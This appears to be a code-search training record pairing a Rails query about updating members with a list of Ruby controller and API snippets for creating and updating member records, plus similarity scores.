"def create\n r = params[:member]\n @member = Member.where(:email => r[:email], :group_name => r[:group_name], :admin_uuid => session[:user_uuid]).first\n r = @member.attributes.merge(r) unless @member.nil?\n @member = Member.new(r) if @member.nil?\n @member.update_attributes(r) unless @member.nil?\n unless @member.err\n @member.get_member_uuid\n end\n respond_to do |format|\n unless @member.nil?\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_member.can_admin_members?\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n # raise YAML::dump(@member)\n # raise @member.errors[0].to_s\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n else\n render_forbidden\n end\n end",
"def create\n @who_member = WhoMember.new(params[:who_member])\n\n respond_to do |format|\n if @who_member.save\n format.html { redirect_to(@who_member, :notice => 'WhoMember was successfully created.') }\n format.xml { render :xml => @who_member, :status => :created, :location => @who_member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @who_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group_member = @client.group_members.new(group_member_params)\n respond_to do |format|\n if @group_member.save\n format.html { redirect_to client_group_member_path(@client,@group_member), notice: 'Group member was successfully created.' }\n format.json { render :show, status: :created, location: @group_member }\n else\n format.html { render :new }\n format.json { render json: @group_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end",
"def member_params\n params.require(:member).permit(:name, :email, :location_id, :plan_id, :status)\n end",
"def create\n\t\t@membership = Membership.new(params[:membership])\n\n\t\trespond_to do |format|\n\t\t\tif @membership.save\n\t\t\t\tformat.html { redirect_to(@membership, :notice => 'Membership was successfully created.') }\n\t\t\t\tformat.xml\t{ render :xml => @membership, :status => :created, :location => @membership }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml\t{ render :xml => @membership.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @member = Member.new(member_params)\n @member.save\n if @member.save\n redirect_to members_path\n else render :new\n end\n end",
"def create\n @member = Member.new(member_params)\n @creating_member = true\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'El miembro ha sido creado' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def member_params\n params.require(:member).permit(:user_name, :rank_id, :activity_status_id)\n end",
"def member_params\n params.require(:member).permit(:name, :address, :phone)\n end",
"def create\n @member = Member.find(params[:member_id])\n respond_with do |format|\n if @member.update_attributes(:registered => true)\n Log.make(session[:mem_id], {:member => @member.id, :action => :register})\n format.html { redirect_to member_register_path(@member.id, 1) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def member_params\n params.require(:member).permit(:email, :name, :password, :admin)\n end",
"def add_member(id, user)\n client.post(\"#{path}/#{id}/members\", user)\n end",
"def create(params, membership)\n # Send payload to blip\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n firstname: (params[5].nil? ? params[4][0] : params[5]),\n lastname: [params[6], params[7]].reject{|e| e.nil? or e.empty?}.join(' '),\n email: (params[3].nil? ? 'unknown@nieuwedelft.nl.invalid' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n blip = post('https://people.i.bolkhuis.nl/persons', data)\n\n # Grab uid\n unless blip == nil\n uid = blip['uid']\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\n end\nend",
"def create\n @member = Member.new(create_params)\n respond_to do |format|\n if @member.save\n session[:member_id] = @member.id\n format.html { redirect_to @member }\n format.json { render action: 'show', status: :created, location: @member }\n else\n format.html { render action: 'new' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @membership = Membership.new(params[:membership])\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully created.' }\n format.json { render json: @membership, status: :created, location: @membership }\n else\n format.html { render action: \"new\" }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n unless @member.set_region_admin == \"1\"\n @member.region_id = current_member.region_id\n end\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n @uplines = Member.order(\"fullname\")\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = GroupMember.new(params[:member])\n if @current_member.group.add_member @member\n render :json=>{success:true, new_id:@member.id}\n UserMailer.invite_email(@member.email).deliver\n else\n render :json=>{success:false, errors:@member.errors}\n end\n end",
"def member_params\n params.require(:member).permit(:name, :email, :password, :password_confirmation)\n end",
"def create\n @member = Member.new(member_params)\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Profile created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: \"Membership was successfully created.\" }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def member_params\n params.require(:member).permit(:first_name, :last_name, :email, :phone_number)\n end",
"def members\n @source.get_elements('//Member').map { |item| Member.new(item) }\n end",
"def member_params\n params.require(:member).permit(:attend, :user_id, :party_id)\n end",
"def set_Members(value)\n set_input(\"Members\", value)\n end",
"def new\n\t\t@membership = Membership.new\n\t\t@membership.members.build\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @membership }\n\t\tend\n\tend",
"def create\n @member = Member.new(params[:member])\n @member.warband = current_user.warband if @member.warband.blank?\n respond_to do |format|\n if @member.save\n format.html { redirect_to(@member, :notice => 'Member was successfully created.') }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to groups_path, notice: 'User was successfully added to group.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.new(family_params)\n addMembers\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render :show, status: :created, location: @family }\n else\n format.html { render :new }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to controller: :login, action: :index, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new, layout: 'member_new' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def member_params\n params.require(:member).permit(:nom, :prenom, :date_naissance, :etat_medical, :sexe, :remarque, :beneficiaire_id)\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def memberships\n @list.client.get(\"#{url}/memberships\")\n end",
"def index\n @members = Defer { ::Member.all }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @members }\n end\n end",
"def member_params\n params.require(:member).permit(:first_name, :last_name, :email, :birthdate,\n :mobile_number, :gender, :canton, :comment, :wants_newsletter_emails,\n :wants_event_emails, :card_id, :magma_coins, :active)\n end",
"def member_params\n params.require(:member).permit(:name, :phone, :email, :birthdate, :occupation, :password, :password_confirmation)\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n add_plan_to_user_if_specified!\n \n format.html { redirect_to(@member, :notice => 'Member was successfully created.') }\n format.json { render :json => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n if @member.save\n flash[:notice] = 'Member was successfully created.'\n redirect_to about_path(@member.url)\n else\n render :action => \"new\"\n end\n end",
"def member_params\n params.require(:member).permit(:name, :email, :type, :is_project_manager)\n end",
"def create\n @membership = Adhocracy::Membership.new(membership_params)\n\n if @membership.save\n render json: @membership, status: :created, location: api_v1_membership_path(@membership)\n else\n render_validation_errors @membership.errors\n end\n end",
"def create\n @member = Member.new(member_params)\n \n\n respond_to do |format|\n if @member.save\n format.html { redirect_to groups_path, notice: \"Member was successfully created.\" }\n format.json { render :show, status: :created, location: @member }\n format.js\n else\n format.html { redirect_back fallback_location: root_path, status: :unprocessable_entity }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def members()\n return MicrosoftGraph::Me::JoinedTeams::Item::Members::MembersRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def member_params\n params.require(:member).permit(:name, :title, :stream, :manager, :is_lead, :active)\n end",
"def member_params\n params.require(:member).permit(:first_name, :last_name, :start_date, :end_date, :clothes_balance, :active, :status, :member_type, :referred_by, :boost_credit, :birthday_boost, :cost, :email, :add_on, :flagged_member, :password, :password_confirmation)\n end",
"def create\n @member = Member.new(params[:member])\n @member.house = current_member.house\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to root_url, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_members(_members)\n _members.each do |_user_id|\n user_relationships.where(user_id: _user_id).first_or_create!(accepted_at: Time.current)\n end\n end",
"def sign_up\n\t\tif params[:uuid].present?\n\t\t\t@existing_member = Com::Nbos::User.where(uuid: params[:uuid])\n\t\t\tif @existing_member.present?\n\t\t\t\trender :json => @existing_member.first\n\t\t\telse\n\t\t\t\t@member = build_user(params)\n\t\t\t\tif @member && @member.save\n\t\t\t\t\trender :json => @member\n\t\t\t\telse\n\t\t\t\t\trender :json => {status: 500, message: @member.errors.messages}, status: 500\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\t\n\tend",
"def post_gmo_with_create_member(user)\n uri = URI.parse('https://pt01.mul-pay.jp/payment/SaveMember.idPass')\n request = Net::HTTP::Post.new(uri)\n request.set_form_data(\n 'SiteID' => ENV['SITE_ID'],\n 'SitePass' => ENV['SITE_PASS'],\n 'MemberID' => user.member_id\n )\n\n req_options = {\n use_ssl: uri.scheme == 'https'\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n if response.code == '200'\n logger.info('GMO created member!(^ ^)!')\n else\n logger.info('GMO error!!!')\n end\n end",
"def list_members(user, list)\n get(\"/#{user}/#{list}/members.json\")\n end",
"def post_scrapers_id_members(scraper_target_id, add_resource_member_request_body, opts = {})\n data, _status_code, _headers = post_scrapers_id_members_with_http_info(scraper_target_id, add_resource_member_request_body, opts)\n data\n end",
"def create\n @organization_member = OrganizationMember.new(params[:organization_member])\n\n respond_to do |format|\n if @organization_member.save\n format.html { redirect_to(@organization_member, :notice => 'Organization member was successfully created.') }\n format.xml { render :xml => @organization_member, :status => :created, :location => @organization_member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_member\n # Member.create!..\n\n respond_to do |format|\n format.html { redirect_to organization_path(params[:orgaid])}\n format.json { head :no_content }\n end\n end",
"def new\n @member = Member.new\n @title = \"New member\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def members\n @group = Group.find(params[:group_id])\n @members = @group.users\n end"
] |
[
"0.61671525",
"0.6156513",
"0.61417735",
"0.6114032",
"0.6083187",
"0.60502577",
"0.6038692",
"0.6017749",
"0.60003173",
"0.59865993",
"0.5971774",
"0.5899646",
"0.58964914",
"0.588346",
"0.58806616",
"0.58642143",
"0.5863212",
"0.5861496",
"0.5853878",
"0.58368444",
"0.58368444",
"0.58368444",
"0.58368444",
"0.58294094",
"0.5828187",
"0.5828187",
"0.5828187",
"0.5822608",
"0.58175206",
"0.5807768",
"0.58068717",
"0.5779387",
"0.5770602",
"0.5765319",
"0.5764739",
"0.57563686",
"0.5753384",
"0.57317233",
"0.57253283",
"0.5725085",
"0.5708977",
"0.5688173",
"0.5676347",
"0.5659003",
"0.5654799",
"0.5621784",
"0.56173885",
"0.5609968",
"0.5608215",
"0.56011117",
"0.5595886",
"0.55815315",
"0.5579335",
"0.556457",
"0.55643225",
"0.55641747",
"0.5562034",
"0.5552099",
"0.554925",
"0.5546718",
"0.5546426",
"0.55432796",
"0.55351007",
"0.5533069",
"0.5526296",
"0.55248606",
"0.5518987",
"0.5517631",
"0.5506426",
"0.5499211",
"0.5498301",
"0.54660904",
"0.54619503",
"0.5455641",
"0.5449146",
"0.5433809",
"0.5429598",
"0.5429598",
"0.5429598",
"0.542562",
"0.54235226",
"0.542048",
"0.5418138",
"0.5405007",
"0.54015744",
"0.54007065",
"0.5392837",
"0.53814316",
"0.5379799",
"0.53656",
"0.5360559",
"0.5356264",
"0.5348064",
"0.53471553",
"0.5343657",
"0.5341344",
"0.53329074",
"0.5325943",
"0.5325346",
"0.53252554",
"0.5324531"
] |
0.0
|
-1
|
PUT /members/1 PUT /members/1.xml
|
def save_fdate
@member = Member.find(params[:mem_id])
@member.followupdate = Time.parse(params[:fdate])
@member.save
respond_to do |format|
format.html { redirect_to members_path }
format.js
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n flash[:notice] = 'Member was successfully updated.'\n format.html { redirect_to '/members/myindex' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n respond_to do |format|\n if @member.update_attributes(params[:member])\n flash[:notice] = 'Member was successfully updated.'\n format.html { redirect_to member_url(@member) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors.to_xml }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update\n @member = Member.find(params[:id])\n respond_to do |format|\n if @member.update_attributes(params[:member])\n flash[:notice] = \"Los datos del socio #{@member.name} #{@member.last_name} se actualizaron satisfactoriamente\"\n format.html { redirect_to(members_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @member_info = MemberInfo.find(params[:id])\n\n respond_to do |format|\n if @member_info.update_attributes(params[:member_info])\n format.html { redirect_to(@member_info, :notice => 'MemberInfo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @member = Member.find(params[:id])\n @member.new = false\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n flash[:notice] = 'Member was successfully updated.'\n format.html { redirect_to members_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def update\n\t\t@member = Member.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @member.update_attributes(params[:member])\n\t\t\t\tformat.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n\t\t\t\tformat.xml\t{ head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml\t{ render :xml => @member.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n params.require(:member).permit(:name)\n if @member.update(member_params)\n format.html { redirect_to @member, notice: '更新しました' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: \"Member was successfully updated.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n Emailer.welcome_email(@member).deliver\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\tif !checkme? then return end\n\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def test_should_update_group_user_via_API_JSON\r\n # lookup user's membership\r\n get \"memberships/find.json?api_key=testapikey&user_id=4&group_id=1\"\r\n membership = JSON.parse(response.body)\r\n membership_id = membership['id']\r\n assert membership_id == 3, 'Incorrect membership id'\r\n assert membership['role_id'] == Role.find_by_rolename('user').id, 'Incorrect role id'\r\n \r\n # promote user to group admin\r\n put \"/memberships/#{membership_id}.xml\", :api_key => 'testapikey',\r\n :membership => {:user_id => 4,\r\n :group_id => 1,\r\n :role_id => Role.find_by_rolename('group_admin') }\r\n assert_response :success\r\n end",
"def update\n respond_to do |format|\n if @member.update!(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @who_member = WhoMember.find(params[:id])\n\n respond_to do |format|\n if @who_member.update_attributes(params[:who_member])\n format.html { redirect_to(@who_member, :notice => 'WhoMember was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @who_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end",
"def set_member\n @member = @current_enterprise.members.find(params[:id])\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to space_member_url(@space, @member), notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: [@space, @member] }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_members\n unless self.list_members.blank?\n #create new members\n self.list_members.each do |api_member|\n member_params = {}\n api_member.each_pair do |key, value|\n unless key == \"id\"\n if Member.attribute_names.include? key\n member_params[key] = value\n end\n end\n end\n #member already exists\n temp = Member.find_by guid: member_params[\"guid\"]\n if !!temp\n temp.attributes = member_params\n if temp.valid? \n temp.save\n else\n return \"problem updating existing member\"\n end\n else\n member = Member.new(member_params)\n if member.valid?\n member.save\n else\n return \"problem with member params\"\n end\n end\n #delete denied members\n if api_member[\"connection_status\"] != \"CONNECTED\"\n Member.find_by(guid: member_params[\"guid\"]).delete\n Member.delete_member(self.guid, member_params[\"guid\"])\n end\n end\n end\n end",
"def update\n # byebug \n respond_to do |format|\n if self.current_member && self.current_member.id == params[:id].to_i\n if @member.update(member_params)\n format.json { render :show, status: :ok, location: @member }\n else\n return api_error(status: :unprocessable_entity, message: @member.errors)\n end\n else\n return api_error(status: 401, message: '没有操作权限')\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @creating_member = false\n\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'El miembro ha sido actualizado' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n unless @member.err\n @member.get_member_uuid\n end\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
